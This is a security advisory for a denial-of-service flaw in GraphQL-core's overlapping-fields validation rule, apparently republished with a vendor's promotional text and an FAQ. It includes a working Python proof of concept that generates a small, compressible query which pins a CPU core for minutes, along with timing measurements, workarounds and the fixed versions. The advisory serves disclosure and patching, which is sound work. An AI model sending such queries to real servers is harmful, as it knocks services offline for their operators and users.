Summary
GraphQL-core: Denial of service via quadratic complexity in the OverlappingFieldsCanBeMerged validation rule
The OverlappingFieldsCanBeMerged validation rule can be driven into quadratic, and
in the worst case O(n²·m²), running time by a small, highly compressible query. A
single 364 KB document can occupy one CPU core for over five minutes during
validation, before any resolver runs. Because the rule is part of specified_rules
and therefore enabled by default, every GraphQL-core based server is affected at
default settings.
Details
OverlappingFieldsCanBeMerged compares every pair of fields that share a response
name and recurses into their sub-selections. The memoization added for
CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) is keyed by named fragment identity, so it
does not cover this path: inline fragments are flattened into the parent selection
set before the cache is consulted, and therefore every pair is re-compared from
scratch at every nesting level.
Repeating an inline fragment that selects the same response name at two nesting
levels multiplies the two effects. There was no comparison budget and no validation
timeout, so the rule ran to completion regardless of cost.
The cost is incurred in the validation phase, which is what makes this hard to
defend against from outside the library: query-depth limiters, complexity analyzers
and cost estimators all operate on the parsed document after validation, and the
malicious document is trivially shallow (depth 3, complexity 1). The payload is also
one short string repeated many times, so it compresses to a few kilobytes and slips
past body-size limits and WAF inspection that only see the compressed request.
Proof of concept
import time
from graphql import build_schema, parse, validate
schema = build_schema(
"type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)
def gen(n: int, m: int) -> str:
inner = " ".join(["... on Node { x }"] * m)
outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document) # returns no errors, it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")
Measured on GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:
| n | m | query size | validation time |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 s |
| 50 | 50 | 46 KB | 5.2 s |
| 100 | 100 | 182 KB | 81 s |
| 200 | 100 | 364 KB | 319 s |
Doubling n at fixed m quadruples the time, as expected for a quadratic outer loop
driving a quadratic inner walk.
Workarounds
If you cannot upgrade, reject oversized documents before they reach validate().
Note that a request body-size limit must be applied to the decompressed body to be
effective here, since the payload is highly compressible. RemovingOverlappingFieldsCanBeMergedRule from the rule set is not a safe workaround: it is
a correctness rule required by the specification.
A body-size limit remains worthwhile after upgrading, the comparison budget bounds
this specific rule, not overall request cost.
Credits
Reported by @BZHunt, who also reviewed the fixes
before release. In memory of ZaX, who was the driving force behind this discovery.
Independently found and diagnosed by @bcmyguest, who
also proposed a fix.
Impact
Denial of service. One request pins one worker process for minutes; because CPython
holds the GIL for this pure-CPU work, a handful of concurrent requests can saturate a
typical multi-worker deployment. No authentication is required, and no data is
disclosed or modified.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-75507 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.2.12, 3.3.0rc1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in 3.2.12 and 3.3.0rc1.
Validation now enforces a per-document comparison budget. OnceMAX_FIELD_COMPARISONS (default 250_000) pairwise comparisons have been made, the
rule aborts and reports a GraphQLError instead of running to completion:
Query is too complex to validate for overlapping fields: exceeded 250000 field
comparisons. Validation was aborted.
The default is far above what any realistic query reaches. It is a module-level
constant and can be raised or lowered:
from graphql.validation.rules import overlapping_fields_can_be_merged
overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
Note the behaviour change: a pathological query that previously validated, slowly ,
now produces a validation error.
Frequently Asked Questions
- What is CVE-2026-75507? CVE-2026-75507 is a high-severity uncontrolled resource consumption vulnerability in graphql-core (pip), affecting versions >= 3.0.0, < 3.2.12. It is fixed in 3.2.12, 3.3.0rc1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-75507? CVE-2026-75507 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of graphql-core are affected by CVE-2026-75507? graphql-core (pip) versions >= 3.0.0, < 3.2.12 is affected.
- Is there a fix for CVE-2026-75507? Yes. CVE-2026-75507 is fixed in 3.2.12, 3.3.0rc1. Upgrade to this version or later.
- Is CVE-2026-75507 exploitable, and should I be worried? Whether CVE-2026-75507 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-75507 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-75507?
- Upgrade
graphql-coreto 3.2.12 or later - Upgrade
graphql-coreto 3.3.0rc1 or later
- Upgrade